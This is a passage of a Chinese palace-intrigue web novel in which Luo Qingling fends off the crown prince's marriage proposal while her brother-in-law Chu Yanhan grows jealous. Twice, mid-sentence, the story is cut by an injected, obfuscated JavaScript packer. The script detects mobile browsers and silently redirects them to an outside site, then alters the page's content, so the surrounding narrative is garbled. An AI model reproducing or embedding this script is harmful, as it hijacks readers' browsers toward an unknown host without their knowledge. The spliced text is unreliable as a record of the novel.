宁王高喊：“这其中必定有猫腻啊，绾绾是个多乖的孩子，怎么可能，怎么可能做出这等事情来呢！” 何况宋绾绾还想要嫁给楚砚寒呢，怎么可能去平西王府，楚砚寒的眼皮子底下乱来呢！ 若是真让皇帝以为赵承宇要的是宋绾绾，自己难道真要把宋绾绾嫁给赵承宇不成？ 想都不要想！ 皇帝被烦得不行，听这几人吵吵嚷嚷不得结果，又有小太监进来给云福公公说事，云福公公斟酌一番，低声对皇帝道：“陛下，楚少夫人进宫求见。” “她来做什么，这么着急忙慌赶来，看笑话不成。” 云福公公不敢作声。 楚少夫人说是来谢恩的，感谢陛下开恩，让太医诊脉看病，如今已经好多了。 皇帝看着这屋子里的人头疼，一甩袖子，道：“让她进来！” 洛清泠进了御书房，看见屋中众人，诧异了一瞬，先给皇帝行了礼，道：“臣妇谢陛下赐药。” “嗯。”皇帝虚眯着打量着洛清泠。 一身翠白宫装，不算华丽，却也不会失礼。但脸颊看着比上次宫宴瘦了不少，还有些苍白的神色，整个人看着就虚弱得很。 “洛清泠，你这病好得是时候啊。” 皇帝意味不明地开口。 洛清泠坦然道：“拖陛下洪福。” “行了，朕问你，今日你府中发生的事情，是不是你做的？” 洛清泠错愕：“臣妇不知，陛下说的是何事？” “这一路来闹得这么大，你会不知道？” 洛清泠咳嗽两声：“臣妇自清醒过后，大病一场，每日呵三海碗的汤药，到昨日才能勉强起身，今日才有精神，特地递了帖子前来谢恩，实在是不知道陛下所说何事。” “你会不知道！分明就是你做的！你自己不愿意嫁给赵承宇那厮，还把本王的绾绾拖下水！洛清泠，你这个毒妇！” 宁王直接跳起来，指着洛清泠骂。 “宁王！” 皇帝一拍桌子，宁王只能一脸憋屈地住了嘴。 “陛下，臣妇实在不知道到底发生了什么事！”洛清泠满脸严肃。 她大病初愈，脸上虽略施薄粉，仍然挡不住那种病态的苍白。 人虽然虚弱，但气势一点都不弱。 洛清泠咳嗽两声，坚定道：“臣妇没有做过的事情，臣妇不会认！” 宁王气笑了。 皇帝也一时没有说话，手指在桌上轻轻敲击着。 “嗤。”一道轻笑引起众人的注意。 楚砚寒毫不在意，只看着洛清泠：“嫂子你这几天养病呢，还真不知道，咱们府上今日——” “楚砚寒。” 皇帝警告地看了楚砚寒一眼。 楚砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702021|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒耸耸肩，住口了。 “其实这事，也闹得不算很大……”太子沉吟半晌，忽然说了一句。 只要没有传开，将这些事情隐瞒下去也没什么不可能。 “只是，就要委屈楚少夫人了。” 皇帝一想到这里，就觉得肝疼得厉害。 之前用一个水晶果换来洛清泠的松口，他圣旨都下了！结果赵承宇这个时候和宋绾绾闹了这么一出！ 洛清泠现在一副不知情的模样，不管是真是假，还能一直不知情下去么？ 等她知道，必然不肯认！ 平西王那也是个暴脾气，楚砚寒将事情一说，他闹起来，又是一顿腥风血雨。 ……怎么那天就没把赵承宇这厮给打残呢！ 最好躺在床上哪里都不能去，省得闹出这些麻烦来！ “但母后一向疼爱少夫人，”太子看向皇帝：“父皇，这联姻人选还没彻底定下，不如——” “不可能！”宁王听宋墨云有要让宋绾绾嫁给赵承宇的意思，瞪着眼拒绝道：“绝对不可能！” 太子住了嘴。 洛清泠身份使然，插不上话，只是将屋中个人的面色看在眼中。 只是在宋墨云身上多停了一停。 看起来是在想着解决办法，但……却在偏向她。 洛清泠睫毛一颤，垂下了视线。 “有什么不可能的，嫂子能为了社稷江山联姻，郡主就不能了？” 一句话把宁王堵得说不出话，脸色憋得通红。 “够了！都下去吧！” 皇帝头疼，云福公公给他捏了捏眉脚：“今日的事情，就给朕烂在肚子里。” “至于联姻一事——” 皇帝看了这几人一眼，疲惫道：“暂且作罢吧。” 众人从御书房退出来，宁王脸色难看得要命，他瞪着洛清泠：“洛清泠，你好得很呐，都算计到本王头上来了！” 洛清泠瞥了他一眼：“不敢，只是臣妇出门时候，遇见郡主被人扶着，一路哭了回去，也不知道发生了什么事，哭得这么伤心，还请王爷提臣妇带个好，日后常来做客。” 第三十六章 有委屈可以和我说 宁王气冲冲走了。 倒是宋墨云陪着洛清泠和楚砚寒走了一段，送出宫去。 将要拜别时，沉默了一路的太子忽然道：“清泠妹妹，装病可好玩儿？” “尚可。” 洛清泠看着太子。 因为和皇后的关系，她与太子也算打过不少交道，虽然这几年疏远了些…… 不过太子果然就是看出来了吧，所以刚才在御书房，也是特意为自己说话的。 洛清泠不算多意外，她也没打算让别人看不出来，最重要的，不是她演戏有多真，只要别人抓不住把柄和证据，她今日就算是面无表情演完这场戏，那些人也是没办法的。 想到这里，洛清泠笑道：“刚才，多谢太子相助。” “说句话的事儿罢了，”宋墨云笑笑：“我也看不惯那赵承宇许久，今日拖妹妹的福看场好戏，只当是休息了。” 两人心照不宣，对视一笑。 楚砚寒蹙了蹙眉。 他踢了踢地，看洛清泠和宋墨云还没有结束话题的意思，不耐烦地出声道：“今日倒是让殿下看笑话了，已经耽搁了许久，嫂子还要吃药呢，殿下，我们就先告辞了。” “嗯，去吧。” 太子说着，笑容倒是真切了几分：“你从来不吃苦药，如今倒是能连喝几大碗了。” “人总归会成长的嘛。” “走了！” 洛清泠对宋墨云行了一礼，和楚砚寒出了皇宫，回到自家的马车上。 楚砚寒想了想，又从自己的马车上下来，直接钻进了洛清泠的马车。 “世子？”洛清泠疑惑：“你这是——” “别离太子太近。” 楚砚寒低声说：“那个人，不像表面那么平和。” 更不是一个简单的人。 他能迅速分析出到底发生了什么事情，又能顺水推舟，将一个人情送给洛清泠和楚砚寒，转头还能和洛清泠套起近乎来。 从来不吃苦药？ 哼，在他跟前扮什么青梅竹马两小无猜。 楚砚寒板着脸。 洛清泠噗嗤一声笑了，也不赶楚砚寒下马车了，只问道：“我刚才就想问了，世子怎么突然就不高兴起来，现在又对我板着个脸，可是对我有哪里不满意？” “嫂子想到哪里去了。”楚砚寒有些别扭地移开了视线。 两人有一句没一句地说着，临到了街上，楚砚寒又叫赶车的小厮去了一趟蜜饯铺子，带回来一堆各色果子塞给洛清泠：“嫂子拿着。” 洛清泠摸不着头脑，还是塞了一片进嘴里。 嗯，很甜。 另一边。 太子看着洛清泠两人离开的背影，半晌笑了一笑。 他回到东宫，脸上的笑意都还没下去，小宫女迎上来，见了惊奇道：“殿下可是遇见什么喜事了？” “看了个热闹罢了，霜儿。” 随着他喊，一道蹁跹身影从殿内出来，走到近前来：“殿下。” “去给孤查个人，我要知道，她这几日都做了什么。” 宋墨云说得意味深长：“最好还有她最近接触得最多的那个男子，一并查了来。” “是！” 那日从皇宫回来没多久，洛清泠的圣旨就被收回去了。 联姻一事当做没发生过，和离一事自然也当做没发生过，楚天旭当即眉开眼笑，让府中做了好酒好菜，和洛清泠吃了一顿，让她立刻将口改回去，还叫父王。 洛清泠从善如流，端起酒盏敬了楚天旭一杯。 昨日饮了酒，洛清泠睡到了日山三竿才醒，青云熬了醒酒茶来，洛清泠懒懒散散喝了。 “倒是没听说宁王府和郡主府那边有什么动静，”青云低声道：“还有赵承宇那边也很安静。” 说着，她拧了下眉头：“小姐确定这件事就这样解决了？” “不然呢？” “宋绾绾不像是个会吃闷亏的主，小姐还要千万小心才是。” “好，我知道了，小管家婆，”洛清泠点了点青云的额头，将解酒汤吃了，又塞了一块蜜饯进嘴里，起身去花园里侍弄花草去了：“大不了兵来将挡水来土掩，青云。” 洛清泠今日格外懒散，不知道是不是因为心中大石头落地，她也有几分提不起劲儿的松散感。 ……也有可能是口中的蜜饯太甜了。 她胡思乱想着，手中剪子一个不注意，直接将一朵盛开正艳的魏紫给剪了下来。 旁边伸来一只修长如玉的手，在花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708086|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵将要坠落时接了过去。 “在想什么，这么出神？” 洛清泠连忙退开，行礼道：“见过太子殿下。” “免礼。” 宋墨云拿着手中的牡丹，笑道：“又没外人，只当我还是你墨云哥哥便罢了，何至于如此生分？” 洛清泠抿唇，没接这话。 “不知殿下驾到，清泠失礼。” 宋墨云无奈叹气，将那朵花放在了一侍从手里：“拿水养着吧。” 侍从捧着花离开。 宋墨云：“现在真没外人了。” “殿下……” 宋墨云摆摆手：“母后很担心你，让我来看看。” “多谢娘娘挂心，清泠已经无碍了。” “无碍就好。” 两人心照不宣地打机锋，隔着不近不远的距离站在院子里。 花团锦簇之中，日光平和，倒真有几分昔日的光景。 宋墨云轻笑一声：“记得那回我还小，第一次去洛家做客，你也是在院子里修剪花草。” 洛清泠也笑了一下。 “娘教我控制脾气，让我给院子里的花草修枝，我不会，将那些花朵全都剪了下来。” “是，我当时看你，还当你是院子里的大胆小丫鬟，呵斥了你。” 宋墨云好笑地看着她：“就要和你理论，结果被你摁着打了一顿。” 洛清泠脸色一红：“殿下曾答应清冷，将这件事忘了的，原来还是这么记仇。” 宋墨云大笑出声，连洛清泠也难得的放松了几分。 她揍完了小宋墨云，皇后震惊，亲爹震怒，要将她好揍了一顿。 洛清泠不服气，一个劲跑啊躲啊，最后是她娘和皇后护着，才保住了自己的屁股没有开花。 洛府啊…… 那个热闹的洛府。 她眼中似有怀念之色。 “清冷，有委屈，可以和我说。”宋墨云正色道，“我说过，你是我妹妹，我会护着你。” 洛清泠眼中闪过一抹动摇，又很快散去。 她轻叹一声：“殿下，时过境迁，我们已经不是当初的顽童了。” 现在的她，身上一堆麻烦。 “殿下不应该来找我。” 第三十七章 莫名其妙的人 “清冷。”宋墨云严肃道：“没有什么应不应该，我做出的承诺，不会变。” 洛清泠没有说话，只是愣愣地看着这院子里争奇斗艳的牡丹。 “好，既然你不愿意说，那我就直接问了，当日在宁王府，到底发生了什么事。” 洛清泠睫毛一颤：“就如同当日世子在宫中所说，为我找了大夫，送我回了王府。” 宋墨云脸色并不怎么好看，显然是对洛清泠的隐瞒不满。 洛清泠心中苦笑。 不然呢？ 要她怎么说？ 她摇头沉默之际，皇宫门口散值的人群里，一小厮低声耳语了什么，楚砚寒脸上表情一僵，也不理别人的招呼，大步走到自家马车前，将马儿解了下来，骑上去，径直去了。 “世子！闹市不可纵马——” 喊话早抛之脑后了。 “怎么忙成这样？”驾马的小厮不解，看向来人：“你和世子说什么了？” “唔，只是墨白大人说，府中有贵客，叫世子快些回去招待罢了。” “这样啊……” 楚砚寒骑马飞快，抄了无人的小道回去，一下马，就看见了停在门前的低调马车。 他抽了抽眉心，进了府里。 墨白迎上来，一路低声汇报着。 “……相谈甚欢……童年逸事……心照不宣……” 楚砚寒脸色越来越黑，直到走到东苑门口，看见了院子里并肩站着的两个人，忍不住脚步一顿，倒吸了一口凉气。 “楚世子。” 听到动静，宋墨云笑着回头和他打了个招呼，洛清泠也转过来，“世子回来了？” “听闻殿下到访，微臣连忙赶回来，招待不周。” 楚砚寒说着，走进东苑，对宋墨云做了个请的手势，想带他去正厅上聊。 宋墨云笑眯眯道：“世子不必客气，这是孤的私人行程，只是过来看看清泠妹妹。” “几年不见，清泠妹妹也已经嫁作人妇，孤倒是有些不习惯。” 宋墨云看着洛清泠，含笑道：“就好像和清冷妹妹打打闹闹那段时间，就在昨日一般。” 一边说，一边拿余光瞥着楚砚寒。 可楚砚寒脸上的表情除了不感兴趣的无聊，什么也没有。 他顿了一下。 难道他猜错了…… 小时候小时候，你们就只有小时候可以说了么？ 楚砚寒心中微酸，甚至有几分咬牙切齿。 “那可能是殿下太闲了，”楚砚寒道：“所以感受不到时间的流逝，想要解困也简单，向陛下求两件公务忙着，就不会这么伤春悲秋了。” 洛清泠：…… 楚砚寒怎么回事？吃了火药了？今日上朝被人骂了？ “过去是臣妇不懂事，惊扰了殿下。” 洛清泠适时出声，打断这种怪异的氛围。 她与太子单独呆了许久已是不好，现在楚砚寒回来了，好好招待将太子带走最好，可楚砚寒一张嘴就得罪人，简直了！ 她正想着将两人都赶走，便看见有人从门前过，连忙道：“父王。” “倒是热闹啊。” 楚天旭走进来，看见宋墨云，连忙拱手：“殿下大驾，寒舍蓬荜生辉啊！殿下来来，咱们俩好好喝两杯！” 宋墨云无奈了。 知道自己今日是和洛清泠说不成话了，也就不再推脱楚天旭的邀请，和洛清泠告别，临走时又看着她，诚恳道：“记得孤今日说的话，若是受了委屈，尽管来找孤。” 说完，他便一并将楚砚寒带走了。 人一走，洛清泠就觉得自己的院子变大了不少。 青云在旁边低声道：“小姐，不知怎么回事，奴婢一直觉得咱们东苑很大很大，尤其是这个院子，就是站了十个我也空空的，但刚才只是有太子和世子，奴婢却觉得院子里挤人得很，有些喘不上气呢。” “不是你的错觉。”洛清泠拍了拍她的脑袋：“我亦有此感觉。” 正说着，就有一侍从端着一碗清水过来了，面上浮着的，正是那朵被洛清泠失手剪下来的魏紫。 洛清泠有些头疼的感觉，叫青云：“端去你房里，好生伺候着吧。” “是，小姐。” 到了下午，楚天旭和楚砚寒才重新来了一趟东苑。 一进门，就将院子门给掩住了。 洛清泠问：“殿下走了？” “嗯，刚走。”楚天旭点点头，面色有些凝重：“太子可能盯上你两人了，日后千万注意。” 这算是自己惹上的麻烦，洛清泠点点头：“我知道了，父王，太子……我会解决的。” 楚砚寒下意识就要出声，可楚天旭已经点头了。 “好，你的能力我一向是信任的。” 楚天旭还有其他事情要办，说了两句话就匆匆离开了。 楚砚寒侧身靠着一棵树木，问：“嫂子想怎么解决？” “……” “随遇而安么？” 洛清泠叹气：“肯定不给王府惹麻烦。” “嫂子知道我不是这个意思。”楚砚寒知道洛清泠要强，有些无奈：“嫂子最近，还是尽量别和宫里的人联系了。” “嗯，我省的。” 楚砚寒顿了顿：“我是说……宫里的所有人。” 除了太子，还有皇后。 “这是自然的，”洛清泠莫名其妙地看着他。 大概是她的表情太过直白，楚砚寒直接笑出了声。 果然，不论宋墨云想要做什么，他这个嫂子啊，压根就没往心里去。 这个想法让他瞬间高兴了起来，和洛清泠摆摆手也离开了。 “……莫名其妙。” 洛清泠看着楚砚寒明显轻快了不少的步伐，简直摸不着头脑。 另一边。 宁王府。 宋绾绾那日回到宁王府就关起门来哭了两天。 宁王从皇宫里吃了一肚子火回去，听她哭得心烦，还将她骂了一顿：“你明知道洛清泠不是个好惹的，你还这么凑上去给她羞辱，你是不是蠢！” “现在好了！她和赵承宇的婚事没了，若不是本王在陛下面前豁出脸去求，现在指不定就是你嫁给赵承宇了！” “你还有脸在这里哭！” 宋绾绾哭得更大声了。 宁王妃劝了两日才把人劝好。 宁王知道自己那日气头上，说过了，心中也后悔，宁王妃在中间做了说和，父女两人才重归于好。 “好了，这件事也赖不着你，父王那日是气着了，才这么说你的，原谅父王好不好？” 宋绾绾红着眼睛，委屈道：“父王！你既然知道是洛清泠做的，你一定要给女儿出气！” “好好好，父王一定给你出气！” 第三十八章 愿娶清泠妹妹为妃 深夜。 楚砚寒看完最后一封信件，坐在椅子上出神。 墨白默不作剪了灯花，房间瞬间大亮起来。 “墨白。” “主子？”听出楚砚寒这声音不对，墨白疑惑道：“是生意上出什么事了吗？” 楚砚寒摇摇头。 产业上没事，但是王府里出事了。 平日里多一倍的信件他也能迅速处理，可今日却愣是处理到了后半夜。 只因为，白日的事情，时不时就会浮上脑海……那两人站在一起，就好像真的天造地设一般。 楚砚寒抿了抿唇：“墨白，去查太子。” “主子？”墨白一愣。 “就查他和嫂……洛清泠的事情。” 楚砚寒话语之中不知不觉带上了寒意。 他倒是要好好看看，宋墨云口中那些过往，到底有多让人恋恋不忘！ 洛清泠虽也一定打定主意不和宫中之人联系，但没两天，一道皇后懿旨就送到了王府之中。 宣洛清泠进宫陪着用膳。 洛清泠叹气。 “小姐不想去么？” 洛清泠摆摆手没打算多说。 不是想不想的原因。 皇后是真心对她好，她知道，但两人到底立场不同，中间有夹杂了一个目的不明的太子…… 可皇后的旨意，自己到底不好直接拒绝。 “青云，将衣服拿来。”洛清泠起身，招呼青云给自己换衣服。 她换好宫装出门，正碰上有人在门外喧闹，洛清泠脚步一顿，便和门外之人对上了视线。 赵承宇一看到洛清泠，顿时怒了：“洛清泠！是不是你搞的鬼！” 管家冷着脸：“赵世子请回吧，王府不欢迎你。” “给我滚开！”赵承宇气得要死！ 那日在皇宫，所有人都走了，但他被留了下来，又是一顿板子落下，比上次受的罚还要重！ 等他彻底清醒过来，一个劲给皇帝说自己被算计了，楚砚寒和洛清泠联手给他下了药，皇帝压根不听不信，只按着他揍。 赵承宇诉苦无门，也明白过来了。 皇帝气的就是他被算计了！ 因为他被算计，所以这场婚事作罢了！ 不论他是被算计的，结果已经造成了！ 赵承宇两天没下床，今日一能动，就冲冲跑了过来找洛清泠算账，结果被小厮拦在了门口。 哈！ 洛清泠这个贱人！ 上次装病的时候还那么热切欢迎他进门！算计他的时候还热切欢迎他进门，现在用不上了，就直接拒之门外了！ 洛清泠出现之前，赵承宇已经在门口闹了小半个时辰了，此时看见洛清泠，自然火上浇油，什么话都骂了出来。 青云脸色铁青，被洛清泠拦了下来。 “洛清泠，这一切，你早就算计好了，从你装病，到陷害我，这一切，都是你做的，只为了和我解除婚约！” 洛清泠没承认，也没否认，脸上露出一抹嘲讽的笑容：“赵世子再说什么，我听不懂，不过最近听说市井上传闻，赵世子和郡主情深义厚，怎么倒是跑到我门前来了，也不怕郡主吃醋。” “你！” 赵承宇气得脸上一抽，就要冲过小厮们上来打洛清泠。 不知何处飞来一脚，揣在他肚子上，直接把赵承宇踹飞了出去！ 他狠狠砸在地上，屁股上的伤口顿时裂开，疼得直抽气，喉咙里发出难听的声音。 “赵承宇，你还敢上门？” 楚砚寒缓缓收脚，脸色铁青：“上次的事情老子看在陛下的面子上不跟你计较，你还有胆子上门？” “给我乱棍打出去，打死我负责！” 赵承宇都快要气死了！ 看看！看看！ 这才是贼喊捉贼！ 但楚砚寒的脾气他还真不敢试，哎哟哟叫着，让自己小厮赶忙抬着自己走了。 “哼，真是便宜他了。”青云蹙了蹙鼻子。 楚砚寒转头看着洛清泠，见她身着的衣衫，眼眸一深：“嫂子这是要进宫？” “嗯，”洛清泠点点头，“娘娘叫我进宫用膳。” 楚砚寒皱了皱眉，却被洛清泠打断了：“世子先去忙吧，我先进宫了。” 被赵承宇耽搁了一会儿，洛清泠来不及多说，只能迅速离开。 楚砚寒看着她的背影，握了握拳头。 洛清泠本只以为这是皇后念叨自己，所以叫她进宫，加上她才“病愈”，关心她。 没想到一到凤仪宫，就看见了一道身着五爪金龙服的男人站在门口。 远远看见她来，展颜一笑：“清泠妹妹。” 洛清泠沉默走进，行了一礼：“臣妇见过殿下。” “何必如此多礼。” 宋墨云摆摆手不在意：“走吧，陷进去吧，母后已经等待多时了。” 洛清泠起身，还是落后了太子三步，走进了凤仪宫。 皇后正让人准备糕点，见到洛清泠进来，连忙招手：“清泠，快来，本宫看看。” 她将洛清泠抱在怀里，心疼地摸了摸脸：“身体本就清瘦，又大病一场，这脸都瘦尖儿了。” “娘娘，臣妇已经好了，这几日大补的汤药顿顿不落的喝。” 洛清泠弯了弯眉眼，哄了皇后一会儿，皇后才放心。 她指着在旁边坐着喝茶的太子：“清泠，你看看，你还记不记得你墨云哥哥。” “娘娘，那都是儿时不懂事的称呼了。” 洛清泠笑得疏离，起身给太子行礼道谢：“多谢殿下日前来府中关心臣妇。” 皇后见她左右没有松口，眼眸微微一暗，长叹了口气。 “云儿这几年不在京城，否则，你也不至于被人这么欺负。” “母后，”宋墨云放下茶盏，眼神认真：“儿臣虽晚了三年，却也没有晚一辈子。” 他看向洛清泠：“若是清泠妹妹愿意，儿臣愿立刻奏明父皇，娶清泠妹妹为妃。” 洛清泠倏的站起来，跪在地上：“请殿下务必打消这些念头，臣妇已嫁入平西王府，哪里还能做殿下的妃子。” “清泠……”皇后一愣，就要拉洛清泠起来。 “若殿下此念头不消，臣妇不起。” 皇后见洛清泠态度坚决，只能看了宋墨云一眼：“太子。” 宋墨云别开脸，过了一会儿才笑道：“倒是把清泠妹妹吓到了，是孤太想当然了。” 第三十九章 他们绝对不可能！ “多谢殿下体恤。” 皇后将洛清泠拉起来，满是心疼：“你不愿意，本宫还能逼你不成？你这孩子……” 但她也知道，是因为三年前的事，才让洛清泠变成了这样…… 她长叹口气：“不说这些了，青松，传膳。” 皇后和太子的退步，洛清泠不好直接离开，只能被皇后拉着上了饭桌。 因皇后说是家常小聚，倒是没让洛清泠和宋墨云分席而坐。 洛清泠只吃了不过两口，就发现皇后其实根本没放弃撮合她和宋墨云，先前的退让只是试探罢了。 她心中微叹，自己已和太子是两条路上的人，根本没办法成婚，而且她不认为宋墨云娶自己只是为了给自己提供庇护。 但皇后不这样想，只当洛清泠能成为太子妃，日后她就好照拂洛清泠，也就没有其他人能够欺负洛清泠了。 她能直接拒接太子，却不好对这个一向照拂自己的皇后开口。 所以席面上的气氛格外奇怪。 皇后给洛清泠夹菜，然后说：“我还记得清泠小时候最喜欢吃这道豆腐，定要日日吃，顿顿吃，不然就不肯依。” “你娘为了治你，就吩咐人只给你做豆腐吃，吃到你吃吐为止。” 说到这里，再把话题交给宋墨云：“云儿，你可还记得？清泠不肯吃又不好意思说，便叫你把这些豆腐解决了。” “自然记得的。”宋墨云轻笑，看着洛清泠。 洛清泠：“小时候不懂事。” 皇后又说：“清泠小时候从不挑食，倒是云儿挑食得很，这不吃那不吃的，清泠还教育云儿呢。” 太子说：“是，多亏了清泠妹妹，我改了这个习惯。” 洛清泠：“是殿下自己的功劳。” 诸如此类，一顿饭都没停过。 洛清泠许久没吃过这么心累的饭了，甚至已经在想自己日后怎么推脱皇后的邀约。 她虽然迟钝，但也不傻，这么明显的撮合能看不出来？ 好在饭后吃茶，皇后不知道是说累了，还是真的没招了，倒是没在说了。 洛清泠便提出告辞的话来。 宋墨云站起来：“孤送清泠妹妹出宫。” “不必了，”洛清泠直白地看着他：“清泠如今孀居，不适宜和殿下走得太近。” “清泠——” 洛清泠道：“男女有别，还请殿下体恤。” 见她实在坚持，宋墨云只能看着洛清泠行了礼，退出宫去。 他盯着那道决然的背影，面色阴冷。 “云儿，别看了。” 皇后在后面喊了一声。 “母后。” 宋墨云转过身，已经恢复了一贯的温和有礼。 “清泠这孩子从小就有主张，她既然对你无意，就放弃吧，你便当她如亲妹妹般，好生照料就是了。” “儿臣明白。” 洛清泠出了宫，脱离了那压抑的气氛，终于松了口气，还没上马车，就见一公公笑眯眯走来，对洛清泠道：“少夫人请留步。” “公公是？”洛清泠一愣。 不等那公公回答，一道人影已经从宫中快步走了过来，不是太子是谁。 洛清泠顿时冷下了脸。 她还只当宋墨云是真放弃了，原来是当着皇后的面不好说罢了。 果然，宋墨云一走近，便道：“清泠，孤的提议，你可以好好考虑考虑。” “殿下，臣妇已经考虑得很清楚了。” “清泠，不要任性，平西王府护不住你。” 洛清泠冷笑：“殿下确定自己能护得住我？” 宋墨云脸色一僵，没在说话，洛清泠转身要走，见有一马车驶来，挂着平西王府的标记。 马车一停，楚砚寒跳了下来，见到两人，一挑眉：“见过殿下。” 不等宋墨云说什么，他就自顾自起身，对洛清泠笑道：“嫂子怎么这么久也没回来，我还当嫂子被什么绊住了脚，特来接嫂子呢。” 洛清泠一听楚砚寒的声音就想笑，心中松快下来，道：“正要回去，多谢二弟。” 她回头看着太子：“殿下，臣妇先行告退了。” 宋墨云看着两人离开的背影，忽然出声道：“他就是你的依仗吗？洛清泠。” “殿下慎言。”洛清泠冷着脸，刚要说什么，就被楚砚寒挡住了。 两人视线在空中一望，都从对方眼中看到了一抹冷意。 “殿下这话就狭隘了，不光臣是嫂子的依仗，整个平西王府都是嫂子的依仗。” “嫂子想依仗谁就依仗谁，嫂子就是不想依仗，平西王府也绝不会出言威胁挖苦，殿下，您觉得呢？” 太子一时没有说话，只是视线下移，看着站在楚砚寒身后的洛清泠。 “洛清泠，你终归会嫁给孤。” 楚砚寒眸底一黑，脸上的假笑彻底隐没。 “常言道事不过三，殿下，臣妇再说一次，不可能。若是殿下还要拿这样的话来挤兑臣妇，别怪臣妇不念旧情翻脸！” 洛清泠一把拉住楚砚寒的手臂：“砚寒，我们走！” 楚砚寒浑身一僵，懵懵的就被洛清泠拉走了，直到护着洛清泠上了马车，两人在马车里踏上回程的路都还没回神。 砚寒…… “嫂子，能——”再叫一声吗？ “世子别将太子的话放在心上。”洛清泠摆摆手：“我也不知道他突然的事抽了什么风。” 洛清泠缓了缓怒气，问道：“世子想说什么？” 楚砚寒一个激灵回神，将心中的旖旎收回，有些闷闷地道：“嫂子走得太快了，我还没有和殿下好好理论一番，觉得有些吃亏。” 洛清泠莞尔：“这样的事有什么可理论的，搭理这件事都是浪费我的精神。” “说得也是。” 楚砚寒心中一松，刚才被宋墨云挑起的怒气彻底熄灭了下去。 他勾了勾唇角，将话藏在心中。 嫂子绝对不可能嫁给太子。 皇宫门口。 公公小心瞥了一眼宋墨云的表情：“殿下？” “哼，小把戏罢了。” 宋墨云收回视线。 洛清泠是楚砚寒的亲嫂子，若是别人，他还可以担心一下，但是这两个人，绝对不可能成！ 洛清泠一边拒绝自己，一边和楚砚寒表现亲近，不过是想要气他，让他放弃罢了。 他一甩袖子：“孤让你们查的事情，查得怎么样了。” 公公一抖：“霜儿姑娘还没回来。” “废物。” 第四十章 天大的误会 “不管怎么说，多谢世子刚才配合我。” 洛清泠回过神，想到自己刚才就这么拽着楚砚寒离开，两人凑得十分进，自己甚至嗅到了他身上的气息，后知后觉有点脸红。 她用手给自己扇了扇，嘟囔道：“天气热起来，马车里倒是有些闷得慌了。” “我这就让人备冰块。” 楚砚寒点了点头，眼神温和地看着洛清泠，里头是自己都没察觉到的占有欲。 “就如同我刚才说的，嫂子想依仗谁，就依仗谁，不论是我，还是平西王府，都会支持你的。” “嫂子不用和我这么……见外。” 他咳嗽了一声，转开视线：“若是嫂子日后还有这个需要，我不介意的。” 什么需要？ 什么介意？ 洛清泠手一顿，脸色顿时烧红，呐呐道：“……应该、应该不会有这样的情况了，如果有的话，肯定是找你的嘛……” 她声音越来越小，最后才惊觉自己到底说了什么，恨不得钻到马车底下去。 都怪宋墨云！ 今天给她气得脑子都不清醒了！ 但很快，她就回神，明白了过来。 楚砚寒的意思，肯定是因为将她当做了家人。 过去他还不愿意她牵扯到王府，可现在，却愿意将她护着…… 不论是楚砚寒，还是楚天旭，果然都是很好的人。 她眼中神思动荡，被这份支持感动，一时没有再解释什么。 楚砚寒则是浑身一怔，瞬间转过头看向洛清泠。 嫂子这是什么意思？ 难道—— 他视线划过洛清泠带着薄红的脸，一时自己脸上也烧得厉害。 父王还说他是个傻子！ 哈哈哈！ 到底谁是傻子！ 嫂子分明、不！清泠分明就知道他的心意的！ 而且——哪里是他一厢情愿了？ 楚砚寒第一次发现，自己竟然还能像个毛头小子一般，心跳得这么厉害！ 只是因为清泠的一句话。 清泠……清泠…… 洛清泠的名字在楚砚寒的舌尖翻转，清清冷冷的一个名字，偏生被他拒绝出了几分黏糊的情谊。 两人一个想着天，一个想着地，都没开口说话，倒是相处愉快。 直到下来马车，青云从楚砚寒手里将洛清泠接过，都有些摸不着头脑。 世子怎么看起来怪怪的？ 说开心也开心，但仅仅只是开心，似乎又有点不足以形容。 更像是一种……餍足。 怪哉怪哉。 太子在宫门口说自己要娶洛清泠的事儿到底还是被不少人看见了。 宋绾绾听到筠儿汇报消息，气得又想砸东西。 洛清泠！ 一个寡妇而已！ 到底是什么香饽饽！ 楚砚寒向着她说话就罢了，现在连太子都说要娶她！ 倒是她小瞧了洛清泠这个贱人的本事。 筠儿道：“郡主……” “有事就说！” “赵承宇来了。” 宋绾绾缓缓抬头，咬牙切齿道：“他还敢来！” 上次在平西王府发生的事情她还没找他算账呢！ “给我带来过来。” 筠儿领命下去，不一会儿，就带着个穿着布衣的男人进来了。 那人抬起头，不是赵承宇又是谁。 大概是这两次吃了亏，终于学会了低调，竟然还换了衣服来。 宋绾绾一看到他那张脸，就恨毒了，院门一关，就尖声道：“给我打！” 院子里顿时跳出几个膀大腰圆的婆子，上前就将赵承宇按在地上打了一顿。 赵承宇一边哎哟叫唤，一边求饶。 “郡主息怒郡主息怒啊！我们这是被人算计了！错不在我啊！” “我管在不在你！让本郡主出了那么大的丑！我今日就是打死你，也是你罪有应得！” 接连不断的拳头落在身上，赵承宇伤口崩开，不一会儿就见了血。 他抱着头，蜷缩着被动挨打，眼中闪过一抹憎恶。 但他现在根本没有办法反抗宋绾绾。 自从和宋绾绾联合，他就再也下不了宋绾绾的船了。 “郡主息怒啊！我一定会再找机会，和陛下求娶洛清泠的！” “你还敢提！”宋绾绾从凳子里起来，推开众人，一脚踹在赵承宇身上：“本来就快要成了！你非要闹出这样的事来！” 赵承宇惨叫一声，连连道：“我肯定会的！我已经有办法了！” 